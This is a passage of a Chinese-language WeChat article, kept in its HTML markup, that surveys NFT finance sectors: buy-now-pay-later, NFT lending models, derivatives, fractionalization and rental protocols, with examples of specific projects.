84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前，Cyan 在 NFT BNPL 子市场中处于领先地位，各类竞争对手的玩法都比较类似，例如Teller的 ANPL、Ceda和 Pine Loans和Halliday。</span></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>4</strong><strong>.</strong><strong> NFT借贷</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">借贷作为金融的基础设施有广阔的发展空间，NFT借贷核心机制是将NFT作为抵押品获取贷款。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">其中最核心的要素就是风控，需要市场对NFT价格有共识。由于目前定价估值项目较为早期，当下主要从项目类型（蓝筹）和贷款价值比（Loan to Value）两方面进行风控。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">和defi中一样，借贷也是NFTFi中爆发比较早的项目类型，目前NFT借贷项目包括：BendDAO、NFTfi、 JPEG&#39;d、Pine Protocol、 Arcade xyz等。目前的NFT借贷可以主要分为两种类型：点对点、点对池。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 122, 170);">1）点对点（peer to peer）</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">1、借款人挂单展示自己的需求，然后出借人在平台浏览所有的借款需求，选择有意向的订单与借款人商量利率和期限后完成借贷。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2、当贷款如期还清时，NFT物归原主；如果不能还清，则NFT归对方所有。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前NFTfi 和 Arcade xyz采用的是点对点机制。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 122, 170);">2）点对池（peer to pool）</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">1、NFT持有者抵押NFT后，即可获得贷款，和defi中的 Aave 和 Compound逻辑类似。通过超额抵押借出资金，同时需要支付利息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2、借款人注入货币来获取利息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前BendDAO、JPEG&#39;d和Pine Protocol采用的是点对池机制。其中JPEGd的设计类似于MakerDAO ，通过抵押NFT来铸造PUSD( 超额抵押的稳定币 )，进行流通和使用。</span></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>5</strong><strong>.</strong><strong> NFT衍生品</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">NFT金融衍生品主要分为两类：期权合约和预测市场。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 122, 170);">1、期权合约</span></strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">：和传统期权比较相似，期权发行方创建某一时间以某一履约价格买入或卖出NFT的权利并收取期权费。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">期权的买方通过支付权利金，在约定日期之前以履约价格买入或者卖出NFT。</span><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">项目包括：Nifty Option、Putty、Hook、OpenLand等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">同时还衍生出了永续合约项目，和FT的永续合约类似，没有固定交割日，通过资金费用将合约价格和现货价格锚定，期货价格高于现货价格一定值时，多方付费给空方（或者多方手续费上升、空方手续费下降）；反之空方付费给多方。项目包括：NFTperp、injective。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 122, 170);">2、预测市场</span></strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">：一种新的玩法，通过mint、二级和租用NFT的方式进行预测和投注，例如在本次卡塔尔世界杯，你认为德国队会赢，可以mint/二级购买/租用德国队NFT，最终根据持有NFT的获胜情况或者持有时间进行奖金的分配。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">例如Reality Cards，通过持有对应NFT的持有时间来取分配奖金；而像OKX，通过世界杯每一场比赛的获胜情况以及NFT在奖金池的占比进行分配。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">衍生品在传统金融市场属于相对成熟的类型，目前NFT的玩法基本只是换了标的资产，没有新的突破。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前NFT衍生品还处于非常早期的阶段，NFTperp还处于测试网阶段，putty的交易量级也是二位数，各类型项目都处于早期阶段，在NFT流动性和定金估值体系完善之前很难有爆发增长。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而像预测市场类的项目反而是新鲜的玩法，是NFT带来的新模式，如果利用好世界杯、奥运会等大的赛事，未来会一些创新的想象空间。</span></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>6</strong><strong>.</strong><strong> NFT碎片化</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">由于NFT的非同质化属性，无法像FT一样分割，从而导致天然流动性受到了限制。而碎片化通过分割所有权的方式，将NFT转化为多个FT。从而改善流动性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">有点类似于将一个高面额的股票拆成多个股，从而让购买者可以买部分股票。在NFT碎片化赛道下代表项目有Fractional.art、Unic.ly。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">将NFT碎片化之后，可以通过FT在Defi中激活更多玩法，比如在Uniswap里交易，在Aave里借贷等等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">同样，用户也可以买断NFT。以碎片化头部项目Fractional.art为例，一旦有超过50%的代币持有量开始设置了拍卖底价时，则该NFT进入拍卖阶段，价高者得；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而在没有开启拍卖阶段时，用户可以以不低于底价的价格买断NFT。</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;padding: 0px 16px;" data-mid="" mpa-from-tpl="t"><section style="width: 37px;height: 22px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;margin-left: 31px;background: #ffffff;margin-bottom: -10.1px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.9384615384615385" data-w="195" src="https://wechat2rss.xlab.app/img-proxy/?k=16894db9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrEpbLAZBVQoV3XILeysDXIeFUcCtVR0oRQwCuGeibSic94wLUwF7p231g2MIEDFe3gjWQIdyNialXjLHd47ObNiaUA%2F640%3Fwx_fmt%3Dgif"/></section><section style="width: 100%;padding: 3px;border-width: 1px;border-style: solid;border-color: rgb(86, 86, 86);" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;border-width: 1px;border-style: solid;border-color: rgb(86, 86, 86);padding: 16px 1px 15px 12px;" data-mid="" mpa-from-tpl="t"><section style="margin: 8px 1em;text-align: center;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong>碎片化的亮点和困境</strong></span></section><ul class="list-paddingleft-1" style="width: 511.484px;text-align: left;white-space: normal;list-style-type: circle;"><li style="letter-spacing: 1px;"><section style="margin: 8px 1em;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">亮点：</span></strong></section></li></ul><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">作为一种提高流动性的方法，可以带来更高的资金效率（借贷、流动性挖矿等）；</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">降低参与门槛；</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">提升更高的曝光度。</span></section><ul class="list-paddingleft-1" style="width: 511.484px;text-align: left;white-space: normal;list-style-type: circle;"><li style="letter-spacing: 1px;"><section style="margin: 8px 1em;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><strong>困境：</strong></span></section></li></ul><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">只适用于高价值的NFT；</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">仍存在定价这个老大难的问题；</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">碎片化后的FT也会面临流动性问题；</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">碎片化后空投等各类权益如何分配也需解决。</span></section></section></section><section style="width: 13px;height: 12px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;margin-top: -9.1px;margin-right: 23px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=8f41e648&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FM4F4dWct8IZhdXpibwRsv54eStOandzSJ4iaOsdj6tJ9Zo3QGDicQquTGoGibR4SQcgp3epYLEMk2RkQDQsketA9Ew%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9536423841059603" data-s="300,640" style="" data-type="png" data-w="755" src="https://wechat2rss.xlab.app/img-proxy/?k=d67f16c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK02capfb5wiadzTDgHS79PQWUgHqoe02L1L5Sr3PDrLsmo702zKqpbt0Q%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>Fractional交易量（数据来源 <a href="https://dune.com/mizmatcat/Fractional.Art）" target="_blank">https://dune.com/mizmatcat/Fractional.Art）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">作为碎片化的头部玩家，Fractional.art对于这个细分赛道上未来发展影响很大。上面两图显示的是 Fractional 的每日交易量和每日资金库新增量，从交易量的角度来看，项目早期热度极高，但22年后就持续降温；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">每日资金库新增量在22年开始有了新的起伏，可见NFT资金创建方诉求仍在，但随着web3大环境和NFT的降温，以及定价、权益、FT流动性等问题，交易量并没有产生新的波动。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">总的来说，由于碎片项目只适用于高价值NFT，会跟NFT蓝筹项目的市场热度息息相关。作为一种突出的流动性提供者。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在下一个NFT蓝筹热潮开始时，Fractional.art可能会再次蓬勃。</span></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>7</strong><strong>.</strong><strong> NFT租赁</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">通过NFT的租赁，一方面使持有者闲置的NFT产生更大收益，另一方面使承租方可以不用花高价买入但获得NFT一段时间的使用权。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">其中，Gamefi、元宇宙土地和权益类NFT的发展也助推着NFT租赁的发展：</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">1、gamefi：由于很多gamefi的进入门槛较高，借款玩家可以通过租用NFT的方式快速进入游戏，或者获得相应游戏奖励。例如Axie的火爆期，入场券三个精灵价格十分昂贵，如果采用租赁则可以快速进入游戏。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2、元宇宙土地：由于越来越多的线下品牌入驻元宇宙，有在Decentraland中租用场地进行布局/艺术展览的诉求。（类似于真实世界租用场地）</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">3、权益类NFT：出租NFT让承租者以低成本获得各项目社区的对应福利。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">从承租人的视角来看，曾经NFT的租赁可以分为两种：抵押租赁和无抵押租赁。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 122, 170);letter-spacing: 1px;"><strong>抵押租赁：</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">需要提供抵押物（如ETH、BTC）之后才能租到NFT。代表项目：reNFT，采用了点对点的租赁方式。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 122, 170);letter-spacing: 1px;"><strong>无抵押物的租赁：</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Double Protocol在提出了ERC-4907，设计了doNFT ，表示具有有效持续时间的 NFT，并确保到期时间。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">对于无法升级合约（使NFT具有两个角色）的项目来说，也提供了包装NFT的方式（wNFT)，逻辑类似wETH，用户不会收到真正的NFT，而是包装后的NFT。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">它具有和原始NFT同样的特性，并受到原始NFT的支持。当租用时间到时，包装后的NFT会被销毁，例如IQ Protocol。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">不过由于抵押租赁一方面价格较高，另一方面会存在借款人不归还NFT的风险。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而无抵押物租赁财务风险更低更安全。随着ERC-4907在今年6月最终版的推出，租赁项目基本上都向无抵押物租赁方向转，目前reEFT<span style="font-family: 宋体;">也是无抵押租赁方式。</span></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="93652" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="margin-right: auto;margin-left: auto;text-align: left;line-height: 2em;"><section style="display: inline-block;text-align:center;width:100%;" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.334375" style="width: 60px;height: 80px;" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=5f8cb32e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FKCDuITyP0VzfbZbuFfydjXgw7OS0xORQLFZsaByNpmKQbeUibYe3gnBubUrOcRxicGFE9Chiakia6iaoLYLX3YibONlg%2F640%3Fwx_fmt%3Dgif"/><strong style="letter-spacing: 1px;color: rgb(63, 63, 63);text-align: left;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="color: rgb(84, 84, 84);font-family: 宋体;font-size: 16px;">未完待续 ......</span></strong></section></section></section></section><section style="white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: 宋体;font-size: 16px;"><br/></span></strong></span></section><section class="mp_common_sticker_iframe_wrp"><mp-common-sticker class="js_uneditable custom_select_card mp_common_sticker_iframe" data-pluginname="emotion" data-id="69fa1ea37a7dea574b65fd8077c142fe" data-type="0" data-emoji_url="https://mmbiz.qpic.cn/mmbiz_gif/nZUBHP1KK4CWeM2z8jNibUwLf4AKzffKdeu0pPvgjIxuRl4o8fF7JyMbeTD7SQBaRy0CfiaBsvyxKv5HUeGaHRRA/0" data-md5="69fa1ea37a7dea574b65fd8077c142fe" data-inserted="0" data-weui-theme="light" data-is_ban="0" data-loading="0"></mp-common-sticker></section><section style="line-height: 2em;"><br/></section><section style="white-space: normal;margin: 24px 1em 16px;line-height: 1.75em;text-align: justify;"><br/></section><section style="line-height: 2em;"><section data-recommend-type="list-title" data-recommend-tid="8" data-mpa-template="t" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid="" data-from="yb-recommend"><section style="width: 100%;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);padding: 20px 14px;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;align-items: flex-end;" data-mid=""><section style="display: flex;justify-content: center;align-items: center;max-width: 100%;background: #fff;margin-bottom: -10px;z-index: 10;" data-mid=""><section style="width: 10px;height: 10px;border-radius: 50%;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid=""><br/></section><section style="margin: 0 8px;height: 20px;font-size: 14px;font-weight: 500;color: #333333;line-height: 20px;" data-mid=""><p data-mid=""><span style="letter-spacing: 1px;">往期推荐</span></p></section><section style="width: 10px;height: 10px;border-radius: 50%;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid=""><br/></section></section></section><section style="width: 100%;height: 1px;background: #333333;margin-bottom: 16px;" data-mid=""><br/></section><section style="width: 100%;" data-mid=""><section data-mpa-template="t" data-recommend-article-type="list-title" data-recomment-template-id="8" data-recommend-article-id="2247496549_1" data-recommend-article-time="1662547617" data-recommend-article-cover="https://mmbiz.qpic.cn/mmbiz_jpg/e9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04ngB8O08RoqHd307mOdNQnB7W0YTuN4qKRUk1QpQKiaAYYZeP0ODYBYw/0?wx_fmt=jpeg" data-recommend-article-title="走进区块链的第一步：钱包服务" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496549&amp;idx=1&amp;sn=d95aa6140d4c136a43c299c57a8be58b&amp;chksm=c286ec23f5f16535164b84bcf1d2cc86e615abe599ad00e9b10a4defa37fb3be701b3cac109e#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496549&amp;idx=1&amp;sn=d95aa6140d4c136a43c299c57a8be58b&amp;chksm=c286ec23f5f16535164b84bcf1d2cc86e615abe599ad00e9b10a4defa37fb3be701b3cac109e&amp;scene=21#wechat_redirect" data-linktype="2"><section data-recommend-title="t" style="width: 100%;background: #f5f5f5;display: flex;justify-content: center;align-items: center;flex-wrap: nowrap;padding: 6px 16px 6px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;max-width: 100%;" data-mid=""><span style="letter-spacing: 1px;">走进区块链的第一步：钱包服务</span></p></section></a></section><section data-mpa-template="t" data-recommend-article-type="list-title" data-recomment-template-id="8" data-recommend-article-id="2247495136_1" data-recommend-article-time="1658479099" data-recommend-article-cover="https://mmbiz.qpic.cn/mmbiz_jpg/e9yMd8aXldcfOy00HkI4YkNB6IA7h8jMXQRe8M4c9VHKAWVJNLzaKdPiclgNtc18Dh9j7X26BAkz53pWYLiadOyQ/0?wx_fmt=jpeg" 